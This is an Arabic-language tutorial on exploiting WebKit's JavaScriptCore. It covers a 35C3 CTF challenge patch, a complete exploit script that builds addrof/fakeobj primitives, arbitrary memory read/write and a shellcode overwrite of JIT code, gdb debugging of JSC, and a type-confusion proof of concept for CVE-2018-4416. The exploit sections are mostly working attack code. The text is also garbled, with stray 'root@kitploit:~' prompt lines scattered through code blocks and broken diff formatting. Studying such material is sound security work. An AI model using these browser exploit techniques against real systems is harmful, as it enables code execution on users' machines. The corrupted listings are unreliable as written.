#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

المشكلة الأكبر هنا تكمن في دالة =tryDeletePropertyQuickly=، والتي تعمل على هذا النحو (التعليقات مقدمة من /Linus Henze/:

#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // Try to get the previous structure of this object
 Structure* previous = structure->previousID();
 if (!previous)
     return false; // If it has none, stop here

 unsigned unused;
 // Check if the property we're deleting is the last one we added
 // This must be the case if the old structure doesn't have this property
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // Not the last property? Stop here and remove it using the normal way.

 // Assert that adding the property to the last structure would result in getting the current structure
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // Directly set the structure of this object
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

باختصار، سيعود الكائن إلى معرف البنية (structure ID) السابق عن طريق حذف عضو أُضيف مسبقاً. على سبيل المثال:

#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o is now an object with structure ID 122. o.property = 42; // o is now an object with structure ID 123. The structure is a leaf (has never transitioned)

function helper() { return o[0]; } jitCompile(helper); // Running helper function many times // In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks // when compiling the helper function. As such, it watches structure 123 for transitions.

delete o.property; // o now "went back" to structure ID 122. The watchpoint was not fired. #+end_example

دعنا نراجع بعض المعرفة أولاً. في JSC، لدينا فحوصات النوع في زمن التشغيل (runtime type checks) ونقاط المراقبة (watchpoint) لضمان تحويل النوع بشكل صحيح. بعد تشغيل دالة عدة مرات، لن يستخدم JSC فحص البنية. بدلاً من ذلك، سيستبدله بـ نقطة مراقبة. عند تعديل كائن ما، يجب على المتصفح تشغيل نقطة المراقبة لإشعار هذا التغيير والعودة إلى مفسّر JavaScript وتوليد كود JIT جديد.

هنا، لن تؤدي استعادة المعرف السابق إلى تشغيل =watchpoint= حتى لو تغيّرت البنية، مما يعني أن بنية مؤشر الفراشة (butterfly pointer) ستتغير أيضاً. ومع ذلك، لن يتراجع كود JIT المولّد بواسطة =helper= لأن نقطة المراقبة لم تُشغَّل، مما يؤدي إلى التباس نوعي (type confusion). ويمكن لكود JIT الاستمرار في الوصول إلى بنية الفراشة القديمة. يمكننا تسريب أو إنشاء كائنات مزيفة.

هذه هي بدائية الهجوم الدنيا:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT code treat it as intereger, but it actually should be an object. // We can leak address from it print(addrof({})); // Almost the same as above, but it's for write data print(fakeobj(addrof({}))); #+end_example

** الدوال المساعدة :PROPERTIES: :CUSTOM_ID: utility-functions :END: ينشئ سكربت الاستغلال العديد من الدوال المساعدة. تساعدنا هذه الدوال في إنشاء البدائيات (primitives) التي تحتاجها في كل استغلال WebKit تقريباً. سننظر فقط في بعض الدوال المهمة.

*** الحصول على الكود الأصلي (Native Code) :PROPERTIES: :CUSTOM_ID: getting-native-code :END: للهجوم، نحتاج إلى دالة بكود أصلي (native code function) لكتابة الشيل كود (shellcode) أو ROP. علاوةً على ذلك، لن تتحول الدوال إلى كود أصلي إلا بعد تشغيلها عدة مرات (هذه الدالة موجودة في =pwn.js=):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** التحكم في البايتات :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: في =int64.js=، نصنع فئة =Int64=. تستخدم =Uint8Array= لتخزين الأرقام وتنشئ العديد من العمليات ذات الصلة مثل =add= و =sub=. في الفصل السابق، ذكرنا أن JavaScript يستخدم القيمة الموسومة (tagged value) لتمثيل الرقم، مما يعني أنك لا تستطيع التحكم في البايت الأعلى. تمثل مصفوفة =Uint8Array= أعداداً صحيحة غير موقعة بـ 8 بت تماماً مثل القيمة الأصلية، مما يسمح لنا بالتحكم في جميع البايتات الثمانية.

مثال بسيط على استخدام =Uint8Array=:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // value will be converted 8 bit unsigned integers // 211 #+end_example

يمكن دمجها في مصفوفة من 16 بايت. يوضح لنا ما يلي أن =Uint8Array= يخزن بالشكل الأصلي بوضوح، لأن =0x0201= == =513=:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

الدوال المتبقية من =Int64= هي محاكاة لعمليات مختلفة. يمكنك استنتاج طريقة تنفيذها من أسمائها وتعليقاتها. قراءة الأكواد سهلة أيضاً.

** كتابة الاستغلال :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** تفاصيل حول السكربت :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: أضفت بعض التعليقات من الشرح الأصلي لـ Saelo (معظم التعليقات لا تزال من عمله، شكراً جزيلاً له!):

#+begin_example const ITERATIONS = 100000;

// A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** خلاصة الاستغلال :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: في الختام، يعتمد الاستغلال على بدائيتين هجوميتين هما الأكثر أهمية - =addrof= و =fakeobj= - لتسريب البيانات وصياغتها. يتم تسريب دالة مُصرَّفة عبر JIT واستبدالها بمصفوفة =shellcode= الخاصة بنا. ثم نستدعي الدالة لتسريب العلم. تقريبًا كل استغلالات المتصفحات تتبع هذا الشكل.

شكرًا لمنظمي مسابقة 35C3 CTF وخاصة Saelo. إنه تحدٍّ رائع لتعلّم خلط الأنواع في WebKit.


  • تصحيح أخطاء WebKit :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: الآن، وبعد أن فهمنا كل النظريات: البنية، نموذج الكائنات، والاستغلال. لنبدأ بعض العمليات الفعلية. للتحضير، استخدم /JSC/ المُصرَّف من قسم الإعداد. فقط استخدم أحدث إصدار لأننا نناقش التصحيح هنا فقط.

اعتدت أن أحاول تعيين نقاط توقف للعثور على عناوينها، لكن هذا غبي في الحقيقة. يمتلك /JSC/ العديد من الدوال غير القياسية التي يمكنها تفريغ المعلومات لنا (لا يمكنك استخدام معظمها في /Safari/!): - =print()= و =debug()=: مثل =console.log()= في /node.js/، ستخرج المعلومات إلى طرفيتنا. لكن =print= في /Safari/ سيستخدم طابعة حقيقية لطباعة المستندات. - =describe()=: تصف كائنًا واحدًا. يمكننا الحصول على العنوان، وعضو الصنف، والمعلومات ذات الصلة عبر هذه الدالة. - =describeArrya()=: مشابهة لـ =describe()=، لكنها تركّز على معلومات /المصفوفة/ لكائن. - =readFile()=: تفتح ملفًا وتحصل على المحتوى - =noDFG()= و =noFLT()=: تعطيل بعض مترجمات JIT.

** تعيين نقاط التوقف :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: أسهل طريقة لتعيين نقاط التوقف هي كسر دالة غير مستخدمة. شيء مثل =print= أو =Array.prototype.slice([]);=. وبما أننا لا نعرف ما إذا كانت الدالة ستؤثر على إثبات المفهوم (PoC) في معظم الأحيان، فقد تُحدث هذه الطريقة بعض الآثار الجانبية.

تعيين الدوال الهشّة كنقاط توقف يعمل أيضًا. عندما تحاول فهم ثغرة ما، فإن كسرها سيكون مهمًا للغاية. لكن أكوام الاستدعاءات الخاصة بها قد لا تكون مريحة.

يمكننا أيضًا تخصيص دالة تصحيح أخطاء (باستخدام =int 3=) في الكود المصدري لـ WebKit من خلال تعريف دالتنا وتنفيذها وتسجيلها في =/Source/JavaScriptCore/jsc.cpp=. تساعدنا على تعليق WebKit في مصححات الأخطاء:

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

بما أن الطريقة الثالثة تتطلب منا تعديل الكود المصدري، فإنني أفضل الطريقتين السابقتين شخصيًا.

** فحص كائنات JSC :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: حسنًا، نستخدم هذا النص البرمجي:

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

استخدم gdb الخاص بنا مع gef للتصحيح؛ قد تخمّن أننا سنكسر =print()=:

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // Some backtrace #+end_example

#+begin_quote عنوان الكائن ومؤشر butterfly قد يختلفان على جهازك. إذا عدّلنا النص البرمجي، فقد يتغيّر العنوان أيضًا. يرجى ضبطهما بناءً على مخرجاتك. #+end_quote

سنلقي نظرة أولى على الكائن ومؤشره:

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

ماذا لو غيّرناها إلى float؟

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

نستخدم حيلة صغيرة هنا: =2261634.5098039214= تُمثَّل كـ =0x4141414141414141= في الذاكرة. العثور على القيمة أكثر سهولة عبر الرقم السحري (نستخدم مؤشر butterfly مباشرة هنا). افتراضيًا، يملأ JSC الذاكرة غير المستخدمة بـ =0x00000000badbeef0=:

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

تخطيط الذاكرة هو نفسه الموجود في جزء /نموذج كائنات JSC/، لذا لن نكرره هنا.

** الحصول على الكود الأصلي :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: الآن، حان وقت الحصول على الدالة المُصرَّفة. إنها تلعب دورًا مهمًا في فهم مترجم JSC والاستغلال:

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

ليس بالأمر الصعب إذا قرأت القسم السابق بعناية. الآن، يجب أن نحصل على الكود الأصلي الخاص بها في مصحح الأخطاء:

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

ضع بايتات التفريغ الخاصة بك في rasm2:

#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

إمممم...كود التفكيك غير صحيح جزئيًا. على الأقل يمكننا رؤية مسودة الآن.


  • استغلال 1 Day :PROPERTIES: :CUSTOM_ID: day-exploitation :END: لنستخدم الثغرة من قسم /إطلاق الثغرة/: CVE-2018-4416.

إنها خلط أنواع (type confusion). وبما أننا تحدثنا بالفعل عن /WebKid/، وهو تحدٍّ مشابه في مسابقات CTF يحتوي ثغرة خلط أنواع، فلن يكون من الصعب فهم هذه الثغرة. بدّل إلى الفرع الهش وابدأ رحلتنا.

تم تقديم إثبات المفهوم (PoC) في بداية المقال. انسخ والصق =int64.js= و =shellcode.js= و =utils.js= من مستودع /WebKid/ إلى جهازك الافتراضي.

** السبب الجذري :PROPERTIES: :CUSTOM_ID: root-cause :END: *** اقتباس من Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: فيما يلي وصف CVE-2018-4416 من /Lokihardt/، مع تمييز جزئي مني.

عند تنفيذ حلقة =for-in=، يتم إنشاء =JSPropertyNameEnumerator object= في البداية واستخدامه لتخزين معلومات الكائن المُدخَل إلى حلقة =for-in=. داخل الحلقة، /معرف البنية/ لكائن "this" في كل تعبير =get_by_id= الذي يأخذ متغير الحلقة كمؤشِّر تتم مقارنته مع =structure ID= المخزَّن مؤقتًا من =JSPropertyNameEnumerator object=. إذا كانا متطابقين، فسيتم اعتبار كائن "this" في تعبير =get_by_id= بأنه يملك نفس بنية الكائن المُدخَل إلى حلقة =for-in=.

المشكلة هي أنه لا يوجد ما يمنع تحرير البنية التي يأتي منها /معرف البنية/ المخزَّن مؤقتًا. وبما أن /معرفات البنية/ يمكن إعادة استخدامها بعد تحرير أصحابها، فقد يؤدي هذا إلى /خلط الأنواع/.

*** شرح سطرًا بسطر :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: التعليق داخل =/* */= هو تحليلي، وقد يكون غير دقيق. التعليق بعد =//= هو من كتابة Lokihardt:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* This is abother target */
  /* We want to confuse it(tmp) with obj(fake_object_memory) */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      /* Step 4 */
      /* Change the structure of tmp to {} */
      tmp.__proto__ = {};

      gc();
      /* The structure of obj is also {} now */
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      /* Step 5 */
      /* Compiler believes obj and tmp share the same type now */
      /* Thus, obj[k] will retrieve data from object with offset a */
      /* In the patched version, it should be undefined */
      return obj[k];  // Type confusion.
  }

}

/* Step 0 / / Prepare structure {} */ opt({});

/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);

/* JSC crashed */ print(fake_object); #+end_example

*** التصحيح :PROPERTIES: :CUSTOM_ID: debugging :END: لنصحّحه للتحقق من فكرتنا. لقد عدّلت إثبات المفهوم الأصلي لتسهيل التصحيح. لكنهما متطابقان تقريبًا باستثناء إضافة =print()=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
      debug("Confused Object: " + describe(obj));
      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

ثم =gdb ./jsc=، و=b *printInternal=، و=r poc.js=. يمكننا الحصول على:

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

لنلقِ نظرة على عنواننا المزيّف. JSC كبير جدًا بحيث لا يمكن العثور على نقطة التوقف التي تحلم بها. لنعيّن نقطة مراقبة (watchpoint) لتتبّع تدفّقه بدلًا من ذلك:

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

نحصل على المخرجات المتوقعة لاحقًا:

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

لكن لماذا يظهر عند =structure ID=? يمكننا الحصول على الإجابة من تخطيط الذاكرة الخاص بهما:

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleإذًا، يتم إرجاع مؤشر =Uin32Array= ككائن. و=m_structureID= يكون في بداية كل كائنات JS. وبما أن =0x1234= هو العنصر الأول في مصفوفتنا، فمن المعقول أن يسترجعها =structureID()=.

يمكننا الآن استخدام البيانات في =Uint32Array= لصناعة كائن مزيف. رائع!

** Constructing Attack Primitive :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: الآن، يجب علينا صناعة كائن قانوني. اخترت ={}= (كائن فارغ) كهدف لنا.

كيف يبدو الكائن الفارغ في الذاكرة (تجاهل البرمجة والتصحيح هنا):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

حسنًا، يبدأ بـ =0x010016000000008a=. يمكننا محاكاته بسهولة في =Uint32Array= (تذكر لصق =gc= و=opt= هنا):

#+begin_example function gc() { ... // Same as above's }

function opt(obj) { ... // Same as above;s }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

يتم إرجاع رقمين غامضين:

#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src

